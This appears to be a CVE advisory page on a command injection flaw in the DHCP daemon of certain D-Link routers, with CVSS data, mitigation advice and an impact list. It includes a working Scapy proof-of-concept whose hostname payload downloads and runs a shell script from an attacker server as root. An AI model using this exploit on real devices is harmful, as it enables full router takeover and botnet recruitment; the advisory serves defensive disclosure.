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The CVE-2025-14659 vulnerability is a command injection flaw found in the DHCP daemon (udhcpd) of D-Link DIR-860LB1 and DIR-868LB1 routers running firmware versions 203b01 and 203b03 . The vulnerability exists because the router fails to properly sanitize the ‘Hostname’ option (Option 12) provided by a DHCP client during the lease renewal process . When a client with an existing lease sends a DHCPREQUEST packet, the router extracts the MAC address, assigned IP, and the unsanitized hostname. These values are concatenated into a string using a function like `sprintf` to form a command for the `usockc` utility, which is then executed by the `system()` function with root privileges . By injecting shell metacharacters (such as `;` or |) into the hostname field, an attacker can append and execute arbitrary operating system commands on the device. The attack is remotely exploitable over the local network, and a public exploit is available, making this a critical threat .
DailyCVE Form:
Platform: D-Link Routers
Version: 203b01/203b03
Vulnerability : Command Injection
Severity: High
date: 14 Dec 2025
Prediction: 31 Mar 2026
What Undercode Say:
Analytics:
- CVSS Score: 8.8 (HIGH) – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- EPSS Probability: 0.24% (Percentile: 47.6%)
- Weakness: CWE-77, CWE-74
- Attack Vector: Network
- Privileges Required: Low (Valid DHCP Lease)
- User Interaction: None
- Impact: Complete system compromise with root privileges.
Exploit:
The exploit requires the attacker to first obtain a valid DHCP lease from the target router to establish a record . The attacker then crafts and sends a malicious DHCPREQUEST packet for lease renewal with an injected payload in the hostname field.
POC Python script using Scapy (adapted from public disclosure)
from scapy.all import
Interface connected to the router's network
iface = "tap7_0" Replace with your network interface
MAC address used to obtain the initial lease
mac_address = "fe:3e:3e:38:7b:76" Replace with your MAC
IP address that was leased
requested_ip = "192.168.0.106" Replace with the leased IP
Router's IP
dhcp_server_ip = "192.168.0.1"
Attacker's server for payload
attacker_server = "192.168.0.142:8000"
Malicious hostname payload. The ';' ends the usockc command and executes wget.
hostname = f"; wget http://{attacker_server}/payload.sh -O /tmp/e.sh; sh /tmp/e.sh; "
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
Use the same transaction ID (xid) from the initial lease
xid = 0xb50e192a Replace with the captured xid
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=xid) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
Protection from this CVE:
- Isolate Device: Immediately isolate the affected routers from the internet and untrusted networks until a patch is applied .
- Firmware Update: Check D-Link’s official support website for any firmware updates that address this vulnerability. If no patch is available, consider upgrading to a newer, supported router model .
- Disable Features: Disable remote management and WAN-side access to the router’s administrative interface .
- Network Segmentation: Place the router in a segmented network zone to limit an attacker’s lateral movement if the device is compromised .
- Monitor Traffic: Monitor network traffic for suspicious DHCP activity, such as unusual hostname strings containing shell metacharacters (
;,|,`,$()) .
Impact:
Successful exploitation grants an attacker remote command execution with root privileges on the router . This allows the attacker to:
– Full Device Control: Modify router configuration, install malware, or use the router as a pivot point to attack other devices on the network .
– Data Interception: Monitor, capture, or manipulate all network traffic passing through the router .
– Denial of Service: Render the router inoperable, causing network downtime .
– Botnet Recruitment: The compromised router can be enslaved into a botnet for large-scale attacks (e.g., DDoS).
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Sources:
Reported By: nvd.nist.gov
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